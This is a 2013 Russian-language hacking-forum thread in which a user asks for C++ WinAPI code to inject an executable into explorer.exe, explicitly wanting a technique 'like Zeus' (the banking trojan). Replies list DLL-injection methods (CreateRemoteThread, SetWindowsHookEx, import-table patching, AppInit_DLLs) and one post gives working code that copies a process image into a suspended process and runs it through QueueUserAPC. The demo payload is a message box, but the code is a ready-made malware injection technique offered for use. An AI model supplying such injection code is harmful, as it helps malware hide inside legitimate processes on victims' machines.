c++ win api внедрение .exe в explorer.exe подкиньте код или пример

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by stilyaga22, 8 Mar 2013.

  1. stilyaga22

    stilyaga22 New Member

    Joined:
    7 Dec 2011
    Messages:
    72
    Likes Received:
    2
    Reputations:
    3
    c++ win api внедрение exe в explorer.exe подкиньте код или пример :confused:
     
  2. Zimper

    Zimper New Member

    Joined:
    12 Jan 2011
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    через win api ты это можеш реализовать двумя способами:
    1)Внедрение dll через создание удаленного потока.Используеться функция CreateRemoteThread
    2)Способ задокументирован самим майкрософтом.Это банальная установка хука на оконное сообщение.В этом случае dll внедряеться во все оконные приложение запущенные под данной учетной записью.Используеться функция SetWindowsHookEx.

    Далее идут способы без конкретного использывания Win Api
    3)Добавление своей dll в таблицу импорта нужного тебе ехе.
    4)ну и самое простое-правка реестра(AppInit_DLLs)
     
    1 person likes this.
  3. stilyaga22

    stilyaga22 New Member

    Joined:
    7 Dec 2011
    Messages:
    72
    Likes Received:
    2
    Reputations:
    3
    + а без dll есть варианты? технология как у зевса интересует
     
    #3 stilyaga22, 9 Mar 2013
    Last edited: 9 Mar 2013
  4. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    без длл это инжект кода
     
  5. stilyaga22

    stilyaga22 New Member

    Joined:
    7 Dec 2011
    Messages:
    72
    Likes Received:
    2
    Reputations:
    3
    а есть пример такого кода?
     
  6. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    на плюсах не подскажу.на асме разве что.хотя апи,это везде апи.гугл:инжект кода.
     
    1 person likes this.
  7. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,309
    Reputations:
    327
    Code:
    DWORD MyBodyToProcess(HANDLE h_dstproc, ULONG BaseAddr)
    {		
    	HMODULE g_module = (HMODULE)BaseAddr;
    
    	if(!h_dstproc)
    		return 1;
    
    	VirtualFreeEx(h_dstproc, g_module, 0, MEM_RELEASE);
    		
    	DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))->e_lfanew 
    														+ sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
    
    	char *pMem = (char*)VirtualAllocEx(h_dstproc, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    		
    	if(!pMem)
    		return 2;
    			
    	DWORD dwOldProt, dwNumBytes, i;
    	MEMORY_BASIC_INFORMATION mbi;
    		 
    	VirtualQueryEx(h_dstproc, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
    
    	while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) 
    	{
    		if(!(mbi.Protect & PAGE_GUARD)) 
    		{
    			for (i = 0; i < mbi.RegionSize; i += 0x1000) 
    			{
    				VirtualProtectEx(h_dstproc, pMem + i, 0x1000, PAGE_EXECUTE_READWRITE, &dwOldProt);
    				WriteProcessMemory(h_dstproc, pMem + i, pMem + i, 0x1000, &dwNumBytes);
    			}
    		}
    		pMem += mbi.RegionSize;
    		VirtualQueryEx(h_dstproc, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));	
    	}
    			
    	return 0;
    }
    
    VOID CALLBACK Handler(ULONG_PTR param)
    {
    	LoadLibrary("user32.dll");
    	MessageBox(0, "AAAAA",0,0);
    }
    CreateProcess ("C:\\Windows\\SysWOW64\\calc.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &st,
    &pi);
    MyBodyToProcess(pi.hProcess, BASEADDR); // копируемся по фиксированной базе
    QueueUserAPC ((PAPCFUNC) Handler, pi.hThread, NULL); // ставим в очередь нашу ф-ию, стоит заметить что никакие новые потоки не порождаются.
    ResumeThread (pi.hThread); // заставим исполнить наш код
     
    1 person likes this.